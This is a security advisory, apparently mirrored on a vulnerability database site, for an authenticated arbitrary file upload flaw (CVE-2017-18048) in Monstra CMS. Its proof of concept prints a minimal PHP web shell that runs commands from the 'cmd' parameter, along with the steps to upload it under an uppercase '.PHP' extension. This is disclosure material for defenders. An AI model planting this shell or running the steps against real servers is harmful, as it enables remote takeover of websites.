| Reporter | Title | Published | Views | Family All 12 |
|---|---|---|---|---|
| MonstraCMS Authenticated Arbitrary File Upload Exploit | 12 Jul 201800:00 | – | zdt | |
| Monstra CMS 3.0.4 - Remote Code Execution (Authenticated) Exploit | 4 Jun 202100:00 | – | zdt | |
| CVE-2017-18048 | 10 Jul 201819:43 | – | circl | |
| Monstra CMS Arbitrary File Upload Vulnerability | 23 Jan 201800:00 | – | cnvd | |
| CVE-2017-18048 | 23 Jan 201806:00 | – | cve | |
| CVE-2017-18048 | 23 Jan 201806:00 | – | cvelist | |
| CVE-2017-18048 | 23 Jan 201806:29 | – | nvd | |
| Monstra CMS Authenticated Arbitrary File Upload | 11 Jul 201800:00 | – | packetstorm | |
| Monstra CMS 3.0.4 Remote Code Execution | 4 Jun 202100:00 | – | packetstorm | |
| Command injection | 23 Jan 201806:29 | – | prion |
## Vulnerabilities Summary
The following advisory describes a vulnerability found in Monstra CMS.
Monstra is “a modern and lightweight Content Management System. It is Easy to install, upgrade and use.”
The vulnerability found is a remote code execution vulnerability through an arbitrary file upload mechanism.
## Credit
An independent security researcher, Ishaq Mohammed, has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program
## Vendor response
We were not able to get the vendor to respond in any way, the software appears to have been left abandoned without support – though this is not an official status on their site (last official patch was released on 2012-11-29), the github appears a bit more active (last commit from 2 years ago).
Without any vendor response the researcher was kind enough to create a patch that addresses this bug, its available here: https://github.com/monstra-cms/monstra/issues/426
CVE: CVE-2017-18048
## Vulnerabilities details
An editor can upload files to the Monstra CMS and can access them by clicking on them from the administrator portal. The default setup of Monstra CMS allows uploading of files only with certain extensions, forbidding all types of executable files which are mentioned in monstra\plugins\box\filesmanager\filesmanager.admin.php. However by simply uploading a php file with “PHP” (all characters in uppercase) extension will bypass this mechanism and will allow an attacker to execute shell commands on the server.
## Proof of Concept
Steps to Reproduce:
Login with a valid credentials of an Editor
Select Files option from the Dropdown menu of Content
Upload a file with PHP (uppercase)extenstion contaiing the below code:
```
<?php
$cmd=$_GET['cmd'];
system($cmd);
?>
```
Click on Upload
liOnce the file is uploaded Click on the uploaded file and add ?cmd= to the URL followed by a system command such as whoami,time,date etc.Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation